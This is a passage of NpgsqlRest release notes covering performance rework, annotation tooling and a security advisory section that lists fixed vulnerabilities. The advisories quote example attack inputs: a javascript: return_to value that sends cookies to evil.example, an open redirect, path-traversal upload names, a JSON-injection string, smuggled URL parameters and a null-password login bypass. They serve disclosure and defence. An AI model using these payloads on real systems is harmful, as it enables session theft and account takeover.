- Rows are written as UTF-8 from start to end. PostgreSQL sends every value as UTF-8 text, and the response is UTF-8. NpgsqlRest used to turn every value into a .NET string (UTF-16), build each row in a string builder, and encode the result back to UTF-8; a 100-row response created about 1,500 short-lived strings on the way. Rows are now built as bytes: a value's bytes are taken straight from the database reader and written with the JSON punctuation around them, and escaping, arrays, date/time values and booleans are converted on the bytes. The output is the same byte for byte; the tests compare the new converters with the old ones for every character and for arrays of every shape. This covers functions, tables, views and SQL files (single and multi-statement), JSON and raw/CSV output. A value still passes through a string where it has to: decryption (
decrypt), composite types, table formats, and connections whose client encoding is not UTF-8. - A single value is no longer copied through a string. A function returning one
jsonortextvalue had that value read as a string and encoded back: a 119 KB JSON document became a 239 KB string, encoded through a buffer sized for three times its length. The bytes now go from the reader into a pooled buffer and from there into the response. As before, the value is read completely and the query finished before anything is sent, so an error that PostgreSQL reports late still reaches the client as an error. - Fewer, larger network writes. See Rows are sent in larger pieces below. This alone is about a tenth of the CPU of a 100-row request.
- One request state and small async methods. A request used to run through a few very large async methods with dozens of local variables. All of them stayed alive, in objects allocated or pooled per request, while the request waited for the database. Everything a request needs now lives in one object that is reused across requests, and the request runs as a sequence of small stages (connect and bind parameters, prepare the command, proxy, request context, upload, execute and render, with one method per kind of result). This is what brought NpgsqlRest's own allocations down to 0.3 KB per request, and it is what made Runtime Async safe to turn on (see .NET 11).
- JIT deployments: the request handler is now compiled with full optimizations. Every request ran through one ~3,400-line async method, too large for the .NET JIT to optimize at run time (over 2,000 basic blocks), so the JIT left it unoptimized for the life of the process. That affected every JIT deployment; the native AOT executable never had this problem, which is why its response times improve less than the JIT's. No request method is that large any more, and each reaches the JIT's optimized tier.
- The string builder pool never reused the most recently returned builder. NpgsqlRest pools the
StringBuilders it uses, but an off-by-one in the pool meant most requests got new builders. - The first database attempt is made by the request itself. Command retries used to wrap every execution in a retry method, one more async method waiting on the database with every request, with a list for exceptions allocated up front. The request now makes the first attempt, and the retry logic takes over only when it fails. What happens on a failure (error code mapping, retries and their delays, logging) is unchanged.
- No DI scope per request. The request handler declared an
IServiceProviderparameter, so ASP.NET Core created and disposed a dependency-injection scope for every request. The provider is now taken from the request only inServiceProviderMode. - Endpoints call the handler directly. ASP.NET Core's generated route handler added one more async method to every request. An endpoint without endpoint filters now calls NpgsqlRest's handler directly; filters added through
RouteHandlerCreatedrun as before. The handler is still bound at compile time by the Request Delegate Generator, so native AOT builds have no new warnings and the same size. - Responses are written straight to the response pipe (
Response.BodyWriter) instead of through an extra writer wrapped around the response stream, which saves one more copy of every byte. Response compression andproxy_outwork as before.
For library users: NpgsqlRestEndpoint.InvokeAsync keeps its public signature (its IServiceProvider parameter is now nullable, and when null it is taken from the request). NpgsqlRestOptions has one new option, ResponseBufferBytes, and one new read-only property, ConnectionResetRequired.
Rows are sent in larger pieces
Rows used to be sent to the client every 25 rows (BufferRows, or the buffer_rows annotation). Each of those is a separate network write and HTTP chunk, so a 15 KB response went out in five pieces. Rows are now sent once at least 16 KB is collected (checked every BufferRows rows) and at the end. Two things are visible from outside:
- A response smaller than 16 KB arrives in one piece, when the query has finished. For ordinary endpoints nothing changes except that it is faster. An endpoint that is meant to send rows as they are produced (a slow query whose first rows should show up early) needs
buffer_rows 0, which sends every row immediately, as before. - A query that fails part-way now gives the client an error response, as long as nothing was sent yet. It used to answer
200with the first rows and cut-off JSON.
buffer_rows 1 still buffers the whole response, at any size. In the library, the threshold is NpgsqlRestOptions.ResponseBufferBytes; 0 sends after every BufferRows rows regardless of size, which is the previous behavior.
Annotations for tools: a complete reference, and what each endpoint read
Editors and other tools that work with NpgsqlRest need to know two things without guessing: which annotations exist, and what NpgsqlRest made of a particular comment. Both are now answered by the npgsqlrest executable, as JSON.
npgsqlrest --annotations lists everything that is read
The reference used to cover the core annotations only (58 entries). Custom parameters (key = value) were one generic entry, so nothing listed the keys the TypeScript client, the upload handlers or the table formats read. It now has 125 entries, from core and from every plugin and handler the client ships, whether the configuration enables them or not:
| Owner | What |
|---|---|
core | the endpoint annotations, now including sse_publish, sse_subscribe and table_format |
upload, upload:large_object, upload:file_system, upload:csv, upload:excel | the upload handlers' parameters, each also under its handler-prefixed name (csv_delimiters) |
table_format:excel | excel_file_name, excel_sheet |
tsclient, dartclient | the client generators' parameters |
mcp, openapi | mcp, mcp_name, mcp_description, openapi |
test | what a SQL test file may say: @setup, @teardown, @connection, @tag, includes, request blocks, @claim, @response |
http_type | what the comment of an HTTP Custom Type may say: the request line, headers, timeout, retry_delay, cache |
Each entry keeps name, aliases, syntax and description, and adds:
json
{
"name": "timeout",
"aliases": ["command_timeout", "timeout"],
"syntax": "timeout <interval>",
"description": "Set command execution timeout (PostgreSQL interval format).",
"owner": "core",
"form": "keyword_or_key_value",
"contexts": ["routine", "sql_file"],
"valueKind": "interval",
"example": "timeout 30s"
}owner: who reads it.form: how it is written.keyword(authorize admin),key_value(tsclient_module = users),keyword_or_key_value(both work), orline(a line with a shape of its own, such as a response header).contexts: where it is read.routine(a routine's comment),sql_file,sql_file_statement(positional, for one statement of a SQL file),test_file,type_comment.valueKind:none,boolean,integer,text,enum,interval,sql,list,pathorname;valueslists the choices of anenum.defaultandexample, where they can be given in a line.
One correction: the entry resultN described a syntax that does not exist (@result1 validate). The annotation is result <name>, and the entry now says so.
npgsqlrest --endpoints says where an endpoint comes from and what its comment did
Each endpoint in the output gains:
routine.sourceFile: the file of a SQL file endpoint.annotations: the comment lines that were read as annotations, as written.commentLines: the lines that are prose. This is what OpenAPI and MCP use as the description.unknownAnnotations: lines written as annotations (@name ...) that nothing reads.unknownCustomParameters:key = valuekeys that nothing reads, written with or without the@.diagnostics: the warnings and errors logged about this endpoint while its comment was parsed, so they no longer have to be found in the log.
json
{
"method": "GET",
"path": "/api/hello",
"annotations": ["HTTP GET", "@authorize", "@tsclinet_module = people", "@timeout = 10s"],
"commentLines": ["Greets a person by name."],
"unknownAnnotations": ["@tsclinet_module = people", "@color blue"],
"diagnostics": ["Function public.hello mapped to GET /api/hello: \"@tsclinet_module = people\" - nothing reads a custom parameter named tsclinet_module. Check the spelling (npgsqlrest --annotations lists what is read)."],
"customParameters": { "tsclinet_module": "people" },
"unknownCustomParameters": ["tsclinet_module"]
}Unknown @ lines: not published, and a misspelt key is said
Two things change in how a comment is read. Both concern only lines that begin with @; a line without it is treated exactly as before.
- A line that begins with
@and is no annotation is no longer part of the description. NpgsqlRest treated every line it did not recognise as prose, and OpenAPI and MCP publish the prose as the endpoint's description. So@color blue(another tool's annotation) or@authorise(a typo) ended up in the published API document. Such lines are now kept apart. @key = valuewith a key that nothing reads logs a warning at startup. Anykey = valueline is stored as a custom parameter, so@tsclinet_module = userswas accepted in silence and did nothing. It is still stored, and now said:"@tsclinet_module = users" - nothing reads a custom parameter named tsclinet_module.A key your own application reads fromCustomParametersis reported too when written with@; write it without, or register it (below).
A plugin's annotation is known even when the plugin is disabled, so @mcp_name orders with MCP turned off is neither published nor reported.
For library users and plugin authors
IEndpointCreateHandlerhas a new optional member,CommentAnnotation[] Annotations, where a plugin describes what it reads.UseNpgsqlRestregisters it;CommentAnnotations.Register(...)does the same for anything else (your own custom parameter keys, or a plugin that is not enabled in this process).CommentAnnotations.All,IsKnownandToJson()give the reference.RoutineEndpointhas three new properties:AnnotationLines,UnknownAnnotationLinesandDiagnostics.Routine.SourceFileis set by the SQL file source.RoutineEndpoint.CustomParametersis now created with a case-insensitive key comparer, andExt.TryParseSwitchreads a switch value the way annotations write it.- An internal call (
InternalRequestHandler: HTTP Custom Type self-calls, proxy self-calls, MCP tool calls) now passes its cancellation token to the called endpoint asHttpContext.RequestAborted, and a cancelled call throwsOperationCanceledExceptioninstead of answering 500. - Lines that begin with
@are no longer inRoutineEndpoint.UnhandledCommentLines. A plugin that picked its own@annotationsout of that list has to claim them inHandleCommentLine(available since 3.17.0), or readUnknownAnnotationLines.
Security fixes
The full review found the issues below; all are fixed in this release. Each entry explains which applications are affected, what was wrong, what changed and, where needed, what to check. Ordered by severity.
Login no longer succeeds without a verified password
Severity: Critical. Applies to endpoints marked with the login annotation whose function returns the password hash column (hash by default, set by NpgsqlRest:AuthenticationOptions:HashColumnName). This is the documented password-login pattern.
What was wrong. With this pattern, the login function returns the user's stored password hash, and NpgsqlRest checks the submitted password against it. But the check was silently skipped, and the user signed in, whenever:
- the client sent the password as JSON
null(for example{"username": "admin", "password": null}); - the password parameter has a default value in the function and the client left it out;
- the stored hash for that user is
NULL, for example an account created through external login or passkeys that has no password; - no function parameter name contains the configured text (
PasswordParameterNameContains, default"pass"), so NpgsqlRest could not tell which parameter holds the password. Only a log warning was written; PasswordHasherwas set tonull.
In practice, anyone who knew a username could log in as that user, including administrators, by sending a null password.
What changed. When the login result contains the hash column, the password check is now mandatory. Each case above fails the login exactly like a wrong password: HTTP 404, the configured PasswordVerificationFailedCommand runs (so failed-login tracking and lockouts see the attempt), and no one is signed in.
What to check. Correct applications are not affected: a valid username and password still logs in. If you have accounts without a password (a NULL hash) that previously logged in through this endpoint, that only worked because of this bug. Those accounts now need a password, or must use their external login or passkey.
Passkeys: a signed-in user could add their passkey to someone else's account
Severity: High. Applies to the npgsqlrest client with passkey authentication enabled (Auth:PasskeyAuth:Enabled).
What was wrong. Adding a passkey takes two requests. The "options" request returns a userContext object that the database produced (it identifies the account), and the browser sends that object back with the completion request. The server passed whatever came back straight to CompleteAddExistingUserCommand without checking it. The documented example SQL reads the target account from it (_user_context->>'id'), so a signed-in user could change the id and attach their own passkey to another account, such as an administrator's, then sign in as that user. New-user registration (CompleteRegistrationCommand) had the same weakness: the client could change any registration data in userContext.
What changed. The server now adds a sealed copy of the userContext it issues, in a _protected property, encrypted and signed with ASP.NET Core Data Protection. The seal is tied to the challenge. When a passkey is added to an existing account, it is also tied to the signed-in user. The completion endpoints reject a missing or invalid seal with 400 invalid_request ("Invalid user context"), and the SQL command always receives the server's own copy, never the client's.
What to check.
- Frontends that send
userContextback unchanged, as the documented examples do, keep working. - A frontend that builds or edits
userContextitself is rejected; send back exactly what the options endpoint returned. - When running several instances, configure shared Data Protection keys (the
DataProtectionsection). Without them, a challenge started on one instance cannot be completed on another, just like cookie authentication.
A request could run as the previous user (user_context on pooled connections)
Severity: High. Applies to endpoints using the user_context annotation, and to SQL that reads current_setting('request.user_id') or similar, for example row-level security policies.
What was wrong. user_context passes the caller's identity to PostgreSQL as session settings (request.user_id, request.user_name, request.user_roles, and the claims JSON key). Without a transaction, these are session-level settings: they stay on the database connection after the request ends. Two things combined into a leak:
- The
npgsqlrestclient always addedNo Reset On Close=trueto the connection string, so Npgsql never cleared session state when a connection went back to the pool. - For anonymous requests, the user keys were not set at all, so they kept whatever value was left on the connection.
As a result, an anonymous request that reused a connection last used by a signed-in user ran with that user's request.user_id, request.user_name and roles. Endpoints without user_context that read these settings (for example through RLS policies) could see the previous caller's identity too.
What changed.
- For functions, tables, views and single-statement SQL files, the identity no longer stays on the connection at all.
user_contextandrequest_headers contextvalues are sent to PostgreSQL together with the routine, as settings that are local to that one transaction: the routine sees them, and they are gone when it ends. Nothing is left for a later request to read. This also saves a database round trip per request; see The request context travels with the routine. - The other endpoints still use session-level settings, and connections are reset after them. Procedures, upload, login and logout endpoints and multi-statement SQL files set their context before the routine, at session level, as before. The
npgsqlrestclient no longer forcesNo Reset On Close: when an application has such endpoints (or an upload metadata context key, orBeforeRoutineCommands), every connection is reset when it returns to the pool, for all endpoints, which clears all session settings. WithWrapInTransactionthose settings are local to the request's transaction, so nothing needs resetting.No Reset On Closein the connection string overrides the rule in both directions. The rule, what the reset costs and what it keeps are described under Connections are reset only when needed. - For anonymous requests,
user_contextendpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. Souser_contextendpoints never see a previous identity, however the context is set. - At startup, the library warns when the connection string sets
No Reset On Closewhile endpoints setuser_contextorrequest_headers contextat session level (unlessWrapInTransactionis on).
What to check. Once a session has used a setting, PostgreSQL returns an empty string, not NULL, for it when it is not set. That is the case after a request whose settings were local to it, after a connection reset, and for anonymous requests. If your SQL casts the value, write nullif(current_setting('request.user_id', true), '')::int rather than current_setting('request.user_id', true)::int. The plain cast fails for anonymous requests on a reused connection.
Breaking: anonymous callers can no longer fill user parameters (user_params)
Severity: High. Applies to endpoints using the user_params annotation (or UseUserParameters) that anonymous users can call, meaning endpoints that do not require authorization.
What was wrong. With user_params, parameters such as _user_id, _user_name, _user_roles (configured in ParameterNameClaimsMapping) and _user_claims are meant to be filled by the server from the signed-in user's claims. Generated TypeScript and Dart clients, OpenAPI documents and MCP tool schemas all leave them out for that reason. For signed-in users the claim always won. For anonymous requests, though, the server filled nothing, and a value sent by the client was used as-is. A request such as GET /api/orders?userId=1 on an endpoint open to anonymous users therefore ran as user 1, and a client could also send a forged userClaims JSON.
What changed. For anonymous requests, values the client sends for these parameters (in the query string or the JSON body) are now ignored. The function receives them as "not provided", so its default value is used, or NULL if there is none.
What to check. If an endpoint expected anonymous callers to pass one of these parameters on purpose, that no longer works. Rename the parameter so it is not claim-mapped, or require authentication.
File uploads could be written outside the upload directory
Severity: High. Applies to upload for file_system endpoints that keep the original file name (unique_name = false) or that build the upload path or file from request parameters (for example path = {_path}).
What was wrong. The upload directory and the file name were joined without any checks:
- The file name the browser sends with the upload can be anything, including
../../app/appsettings.jsonor an absolute path. Withunique_name = false, the file was written there, overwriting any file the server process could write to. - An upload
pathorfilebuilt from request values could contain the same thing, even with unique names.
What changed.
- The client's file name is reduced to the bare name, with both
/and\treated as separators:../../etc/passwdbecomespasswd. The values.and..are refused. - A
filevalue must be a relative path without..segments. Apathvalue must not contain..segments. - The final location must be inside the upload directory.
A file that breaks these rules is not written. Its entry in the upload result has "success": false, "status": "InvalidFileName" and "filePath": null, just like files rejected for their type or content. Uploads with normal names are unaffected, and filePath is reported in the same form as before.
External login: return_to could run script or redirect to another site
Severity: High. Applies to the npgsqlrest client with external (OAuth) login enabled (Auth:External).
What was wrong. The external sign-in page (for example /signin-google) accepts a return_to query parameter, whose name is set by ReturnToPathQueryStringKey, and sends the browser there after the provider round trip. The value was used without any check:
- A link such as
/signin-google?return_to=javascript:fetch('//evil.example/?c='+document.cookie)ran attacker-controlled script on your site's origin once the victim finished signing in, or even after they cancelled. return_to=https://evil.exampleturned your login page into an open redirect.
What changed. return_to must now be a path on the same site, such as /dashboard?tab=2#top. Absolute and protocol-relative URLs (https://…, //…, /\…), javascript: and other schemes, and values with control characters are ignored, and the user goes to the default page instead.
What to check. If you passed full URLs in return_to, pass a path instead.
A large stored value could crash the whole server
Severity: High (availability). Applies to all applications.
What was wrong. When writing certain values into a response, NpgsqlRest built the quoted value in a temporary buffer on the thread's stack, sized by the length of the value:
- every text and date value in CSV-style output (
rawwithseparator); - JSON values of types such as
varbit, ranges,interval,inet,geometry.
A value of a few hundred thousand characters overflowed the stack. In .NET, a stack overflow cannot be caught: it ends the entire process, not just the request. Anyone able to store a long text (a comment, a description, an uploaded document) could take the server down, and it went down again every time that data was requested.
What changed. Only small values (up to 512 characters) still use a stack buffer. Larger values use a pooled heap buffer or are built directly. Responses are the same as before.
Breaking: the client IP address is no longer taken from request headers
Severity: Medium. Applies to anything that uses the client IP: the IpAddress rate-limiter partition (including the shipped login_throttle policy), the _ip_address parameter, the request.ip_address context value, BeforeRoutineCommands IP values, and passkey/OAuth analytics.
What was wrong. NpgsqlRest determined the client IP by reading the X-Forwarded-For header (its left-most entry), then X-Real-IP, HTTP_X_FORWARDED_FOR and REMOTE_ADDR, and used the real connection address only if none was present. Any client can send these headers. By sending a different X-Forwarded-For with each request, an attacker landed in a fresh rate-limit bucket every time, which made per-IP limits such as the login brute-force throttle useless. They could also write any IP they liked into audit data. Behind a proxy that appends to X-Forwarded-For, the left-most entry is still the one the attacker controls.
What changed. The client IP is now always HttpContext.Connection.RemoteIpAddress, the address of the connection itself.
What to check: if you run behind a reverse proxy or load balancer, the connection address is the proxy's address, so without further configuration every user shares one IP. Enable the forwarded headers middleware so the address reported by your proxy is used, ideally naming the proxy:
json
{
"ForwardedHeaders": {
"Enabled": true,
"ForwardLimit": 1,
"KnownProxies": ["10.0.0.5"]
}
}With ForwardLimit: 1, only the entry added by your own proxy is used, and anything the client put in the header is ignored. Applications that use the NpgsqlRest library directly should call app.UseForwardedHeaders(...) with their proxies configured.
Breaking: Antiforgery:Enabled now actually protects API endpoints
Severity: Medium. Applies to the npgsqlrest client with Antiforgery:Enabled: true, and to library users who add antiforgery metadata to NpgsqlRest endpoints themselves.
What was wrong. The setting is documented as "Enable antiforgery token validation for state-changing requests", but no NpgsqlRest endpoint was ever validated:
- ASP.NET Core's antiforgery middleware only checks endpoints that carry antiforgery metadata, and NpgsqlRest endpoints had none.
- Even with the metadata, the middleware does not reject a request with a missing or wrong token. It only records the failure for the endpoint to act on, and NpgsqlRest never looked.
Enabling the setting produced tokens in parsed static pages, but every POST, PUT, PATCH and DELETE was accepted without one. Cross-site request forgery protection was therefore not in place.
What changed.
- With
Antiforgery:Enabled: true, every NpgsqlRest endpoint requires an antiforgery token for POST, PUT, PATCH and DELETE. GET is unaffected. - A request with a missing or invalid token is rejected with
400 Bad Request("Invalid or missing antiforgery token.") before anything runs. This check is in the library, so it also covers library users who addRequireAntiforgeryTokenAttributemetadata throughRouteHandlerCreated.
What to check.
- Browser code must send the token, usually in the header named by
Antiforgery:HeaderName(defaultRequestVerificationToken). Parsed static pages can embed it with the{antiForgeryToken}tag. - Clients that authenticate only with bearer tokens or JWT are not exposed to CSRF, but now also need the token on state-changing requests. If your API serves only such clients, you can leave antiforgery disabled.
JWT: a refresh token was accepted as an access token
Severity: Medium. Applies to the npgsqlrest client with JWT authentication (Auth:JwtAuth, and Jwt entries in Auth:Schemes).
What was wrong. Access and refresh tokens are signed with the same key and carry the same issuer and audience. The only difference is a token_type: refresh claim, which nothing checked when a token arrived as Authorization: Bearer. A refresh token, valid for 7 days by default and meant only for the refresh endpoint, therefore worked as an access token on every API endpoint for its whole lifetime.
What changed. The JWT authentication handler rejects any token with token_type: refresh, and the request is treated as unauthenticated (401). Refresh tokens keep working at the refresh endpoint, and the access tokens it issues are unaffected.
Bearer-token refresh issued tokens for the wrong user
Severity: Medium. Applies to the npgsqlrest client with bearer-token authentication and a refresh path (Auth:BearerTokenRefreshPath, or BearerTokenRefreshPath in Auth:Schemes).
What was wrong. The refresh endpoint only checked that the refresh token had not expired. It then issued new tokens for whoever was calling it, meaning the user identified by the access token sent with the request, not the user the refresh token belongs to. As a result:
- Any valid access token, combined with any unexpired refresh token (for example the attacker's own), produced fresh tokens for the access token's owner. A stolen, short-lived access token could therefore be renewed indefinitely.
- Refreshing after the access token had expired, which is the normal reason to refresh, failed with
401.
What changed. New tokens are issued for the user stored inside the refresh token, as ASP.NET Core Identity does. The refresh token is the credential, so no access token is needed. Clients that refresh after the access token has expired now get new tokens instead of a 401.
External login: another site could sign a user into the attacker's account
Severity: Medium. Applies to the npgsqlrest client with external (OAuth) login enabled (Auth:External).
What was wrong. The OAuth state value protects the login against cross-site request forgery, but it was only compared in the sign-in page's browser script. The server redeemed any authorization code posted to the sign-in path. An attacker could start a login with their own Google or GitHub account, keep the code, and make a victim's browser post it from another site. The victim was then signed in to the attacker's account, and anything they entered (payment details, documents, messages) went into it. This is known as login CSRF.
What changed. The state is now also checked on the server:
- Starting the sign-in stores it in an HttpOnly, SameSite=Lax cookie, scoped to the sign-in path and valid for 10 minutes.
- When the code is posted, the state echoed by the provider must match that cookie, compared in constant time. The cookie is cleared afterwards.
- A missing or different state is rejected with
400("Invalid or expired sign-in state. Please start the sign-in again."), and the code is never sent to the provider.
The built-in sign-in page already sends the state, so nothing changes for users. A sign-in left open for more than 10 minutes has to be started again.
External login: unverified email addresses are rejected
Severity: Medium. Applies to the npgsqlrest client with external (OAuth) login enabled (Auth:External).
What was wrong. External login passes the provider's email address to your LoginCommand ($2), and login functions typically find the user by it. Some providers let an account carry an address its owner never proved they own, and say so with "email_verified": false. NpgsqlRest ignored that flag. Someone could register a provider account with a victim's address and sign in to the victim's account.
What changed.
- A login is rejected with
403when the provider's user info reports the email as unverified (email_verifiedor Google's olderverified_email, as a boolean or the string"false"). The user sees: "The email address of this Google account is not verified. Verify it with Google and sign in again." A warning is logged. - Providers that only return verified addresses and send no flag (GitHub, Facebook, LinkedIn's email endpoint) are not affected.
- Microsoft: its user info has no such flag. The email of a work or school account is a directory attribute that the account's own tenant administrator can set to any address, including yours (the "nOAuth" issue). NpgsqlRest can't verify it, so when Microsoft login is enabled, a startup warning now says so. Don't identify Microsoft users by email alone. Use the stable subject id,
subin the user info JSON that yourLoginCommandreceives as$4, for example($4::json)->>'sub'.
Breaking: authorize values are roles; users need user: or id:
Severity: Medium. Applies to the authorize annotation with values, sse_scope authorize ..., and SSE RAISE ... USING HINT = 'authorize ...'.
What was wrong. A value in authorize admin, editor matched three claims: the role claim, the user name claim and the user id claim. That is how authorize john restricted an endpoint to user john. But the roles and the identities shared one namespace:
- If users can choose their own user name, someone who registered as
adminpassedauthorize admin. - A user name equal to someone else's user id passed
authorize <that id>.
SSE had the same problem: an event with the hint authorize admin was also delivered to a user named admin.
What changed. Each value now says what it matches:
| Value | Matches | Example |
|---|---|---|
| plain value | the role claim (DefaultRoleClaimType) only | authorize admin, editor |
user:<name> | the user name claim (DefaultNameClaimType), case-insensitive | authorize user:john |
id:<id> | the user id claim (DefaultUserIdClaimType), case-insensitive | authorize id:42 |
The same rules apply to sse_scope authorize ... and to SSE hints. Also fixed: roles from an SSE hint were added to the endpoint's shared role list, so they piled up across events (later events reached recipients meant only for earlier ones) and the list was changed concurrently. Hint roles now apply to their own event only.
What to check.
- An
authorizelist naming specific users or ids must use the prefixes:authorize johnbecomesauthorize user:john, andauthorize 42becomesauthorize id:42. Without the prefix, those users now get403, which fails safe. - A plain numeric or GUID value logs a startup warning, because it is most likely a user id.
- Per-user SSE notifications written as
using hint = format('authorize %s', _user_id)must becomeformat('authorize id:%s', _user_id), or the events no longer reach the user.
Basic Auth on overloaded routines applied to the wrong overload
Severity: Medium. Applies to endpoints using basic_auth where several routines share one path and differ by parameter count (overloads), and only some of them use basic_auth.
What was wrong. Basic Auth was checked for the path's primary endpoint, which is the routine registered last, before the request was matched to an overload by its parameters. So:
- an overload with
basic_authwhose primary had none ran without credentials; - public overloads of a
basic_authprimary were asked for credentials they don't need.
What changed. Basic Auth runs for the routine the request actually resolves to. When every overload of a path uses Basic Auth (or the global Auth:BasicAuth option is on), it still runs first, before any request processing. Otherwise it runs as soon as the overload is known. Non-overloaded endpoints behave exactly as before.
Breaking: the reverse proxy no longer forwards credentials or client-chosen identity
Severity: Medium. Applies to endpoints using the proxy annotation (NpgsqlRest:ProxyOptions), and to HTTP Custom Types for the cookie part.
What was wrong.
- The user's credentials went to the upstream. All request headers except
Host,Content-LengthandTransfer-Encodingwere forwarded, including the user's sessionCookieandAuthorization(JWT/bearer token), even when the upstream is a third-party service. The upstream'sSet-Cookieheaders were passed back too, so another service could set cookies on your application's origin. - Clients could choose the identity the upstream saw. Server-filled values, meaning
user_paramsparameters in the query string anduser_contextheaders such asrequest.user_id, were appended after whatever the client sent under the same name:?userId=<attacker>&userId=<real>, or tworequest.user_idheader values. For anonymous callers the client's value was the only one. - Upstream cookies were shared between users. The proxy and HTTP Custom Types use one shared HTTP client, and it kept a cookie jar. A cookie that an upstream set during one user's request was stored and sent with every later upstream request, for every user.
What changed.
ExcludeHeadersnow also containsCookie,AuthorizationandProxy-Authorization, andExcludeResponseHeaderscontainsSet-Cookie.- Client query parameters and headers named like a server-filled value are removed before forwarding. The upstream only receives the server's values, and none at all when the server has none.
- The shared HTTP client no longer stores cookies.
What to check. If a proxied internal service relies on receiving the caller's bearer token, remove "Authorization" from ExcludeHeaders:
json
{
"NpgsqlRest": {
"ProxyOptions": {
"ExcludeHeaders": ["Host", "Content-Length", "Transfer-Encoding", "Cookie", "Proxy-Authorization"]
}
}
}Response cache: different requests (and different users) could share a cached response
Severity: Medium. Applies to endpoints using the cached annotation, or cache profiles, with more than one cached parameter or with omitted parameters, and to cached proxy endpoints.
What was wrong. A cache key was built from the routine and the values of the cached parameters the request supplied, separated by an invisible character, without parameter names or lengths:
- Omitted parameters left no trace. For
f(_a default null, _b default null)cached on both,?a=xand?b=xproduced the same key, so one request received the other's cached result. - A value could contain the separator itself (
%1Fin the query string), so?a=x%1Fywas the same key as?a=x&b=y. - Across users: on a
user_paramsendpoint, a signed-in user's id (from their claim) and an anonymous caller's own parameter with the same value produced the same key. The anonymous caller received the signed-in user's cached response. - Cached proxy endpoints ignored query-string values that are not routine parameters (they are still forwarded to the upstream) and the request body, so
?page=1and?page=2shared one cached upstream response.
What changed.
- Every cached parameter is written into the key with its name and the length of its value. NULL is marked separately from an empty string, and an omitted parameter is distinguishable.
- For proxy endpoints, the raw query string and the request body are part of the key too.
Existing cache entries no longer match after the upgrade and are simply recomputed. External caches (Redis, Hybrid) need no action.
Memory cache: callers could grow server memory without limit
Severity: Medium. Applies to endpoints using cached (or a cache profile) with the in-memory cache, which is the default cache type.
What was wrong. Cache keys contain request parameter values, so each distinct value a caller sent added an entry to the memory cache. Nothing limited the number of entries, and entries without an expiration were never removed. Sending many requests with different values (?q=1, ?q=2, ...) grew server memory until the process ran out. Set-returning cached endpoints also kept a small lock object per distinct key forever.
The same lock had a second bug. A request cancelled while waiting for it still released it on the way out. That let two requests for the same key run concurrently, and later caused an error when the lock was released again.
What changed.
- New option
CacheOptions:MemoryCacheMaxEntries, default100000. When the cache is full, responses for new keys are returned without being cached. Existing entries keep serving and expire normally, and updates to an existing key are always allowed. Set it to0for no limit. - The per-key locks of set-returning endpoints exist only while requests hold or wait for them. A cancelled wait no longer releases a lock it never acquired.
json
{
"CacheOptions": {
"MemoryCacheMaxEntries": 100000
}
}Redis and Hybrid caches are not affected; their memory is managed by Redis and HybridCache.
Breaking: HTTP Custom Types encode request values in the URL, and calls time out after 30 seconds by default
Severity: Medium. Applies to HTTP Custom Types (HttpClientOptions:Enabled) whose URL contains {placeholders} filled from request parameters, and to types without a @timeout directive.
What was wrong.
- Parameter values were inserted into the outbound URL as they were. A caller could change the request the server makes on their behalf. In
GET https://api.example.com/search?q={_q}&limit=5, the valuex&limit=1000added its ownlimit. InGET https://api.example.com/users/{_id}/profile, the value../../admin?walked the path to a different resource. The request still went out with the type's headers, such as an API key. - A type without
@timeouthad no time limit, while the error messages claimed 30 seconds. A hanging upstream held the request, and its database connection, indefinitely.
What changed.
- In the URL, request-derived values (function parameters, including resolved parameters and the type's own fields) are percent-encoded, so each one stays inside its own path segment or query value. The target service decodes them back to the original value. Environment variable values are not encoded (they are operator configuration, such as a base URL). Header values and the request body are unchanged.
- Self-calls (relative URLs such as
GET /api/users/{_id}) decode path values again, so the target endpoint receives the original value. - Calls without
@timeoutnow time out after 30 seconds:status_codeis408anderror_messageis set.
Do you need to do anything? Only if one placeholder holds several URL parts at once, such as a whole query string (?{_filters}) or a sub-path with / (/files/{_path}). Those characters are now encoded. Split such values into one placeholder per value, or use an environment variable for parts that are configuration. Add @timeout to calls that legitimately take longer than 30 seconds.
Server-Sent Events: forged events, and unbounded memory for idle subscribers
Severity: Medium. Applies to endpoints that publish RAISE notices as Server-Sent Events (sse, sse_publish).
What was wrong.
- The notice message was written into the stream as-is. In SSE, a line break starts a new field, and an empty line ends the event. A message containing line breaks, such as
raise info 'New comment: %', _textwith user-written_text, could therefore:- add its own
event:,id:orretry:fields; - end the event early and append a forged second event, delivered to every subscriber in scope.
- add its own
- Each subscriber had an unlimited buffer of events waiting to be written. A client that connected and then stopped reading made the server keep every published event for it until the connection closed.
What changed.
- Each line of a message is now sent on its own
data:line. This is how the SSE format carries multi-line data: the browser'sEventSourcejoins the lines back with\n, soevent.datais the original message. Multi-line messages previously arrived truncated, and now arrive whole. A\r\nline break arrives as\n. - Each subscriber buffers at most 10,000 pending events. When a subscriber falls that far behind, its oldest pending events are dropped. Clients that keep reading are not affected.
The execution-id filter (?<execution id> on the subscribe URL) is unchanged. It narrows a stream to one execution's events; who may see an event is still decided by the event's scope (matching, authorize, all).
Validation: a crafted value could keep the server busy for minutes
Severity: Medium. Applies to endpoints using validate ... using email, or any custom rule of type Regex.
What was wrong. The built-in email pattern (^[^@\s]+@[^@\s]+\.[^@\s]+$) slows down quadratically on input such as a@ followed by many dots and a space. A 40 KB value took 0.7 seconds of CPU, and a 400 KB value in a JSON body over a minute. Each such request kept a CPU core busy, and there was no time limit. Custom Regex rules had the same exposure, depending on their pattern.
What changed.
- Each rule's pattern is compiled once and run with .NET's non-backtracking engine, which always takes linear time. The 400 KB example now takes milliseconds. Results are unchanged; validation only checks whether the value matches.
- Patterns the linear engine cannot run (backreferences such as
\1, lookarounds) use the regular engine, with a 250 ms time limit per check. - A value that hits the limit fails validation, and a warning is logged.
Enum and domain columns: invalid JSON and JSON injection
Severity: Medium. Applies to functions and queries that return columns of an enum type or a domain type.
What was wrong. NpgsqlRest has no specific mapping for enum and domain types, and it wrote their text into JSON responses unquoted:
- An enum value produced invalid JSON:
{"mood":happy}. - A domain over
textlet stored data inject JSON keys. A value such asx","isAdmin":true,"y":"zturned into an extraisAdminproperty. - An empty value failed with HTTP
500("Index was outside the bounds of the array").
What changed. These values are now written as properly escaped JSON strings: {"mood":"happy"}, and the domain value above stays one string, "x\",\"isAdmin\":true,\"y\":\"z". An empty value becomes "".
Static files: protected pages reachable through path variants, .git served, unbounded memory
Severity: Medium. Applies to the npgsqlrest client serving static files (the StaticFiles section).
What was wrong.
